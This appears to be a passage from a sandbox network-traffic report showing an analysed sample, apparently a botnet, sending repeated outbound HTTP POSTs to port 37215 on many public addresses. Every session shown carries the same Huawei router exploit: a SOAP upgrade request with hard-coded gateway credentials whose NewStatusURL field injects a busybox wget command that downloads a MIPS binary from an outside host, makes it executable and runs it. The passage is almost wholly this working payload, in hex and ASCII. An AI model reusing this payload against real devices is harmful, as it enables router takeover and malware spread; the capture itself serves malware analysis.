3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	38170	197.57.94.143	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.397603989 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	59244	41.196.63.217	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.398116112 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	41900	41.252.167.141	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.398606062 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	60122	156.167.186.216	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.399123907 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	36642	41.78.110.252	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.399630070 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	59260	156.9.237.76	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.400120974 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	57744	156.224.249.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.400652885 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	37690	197.66.54.252	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.401129961 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	44252	41.59.158.178	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.401635885 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	51858	156.137.59.179	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.402148962 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

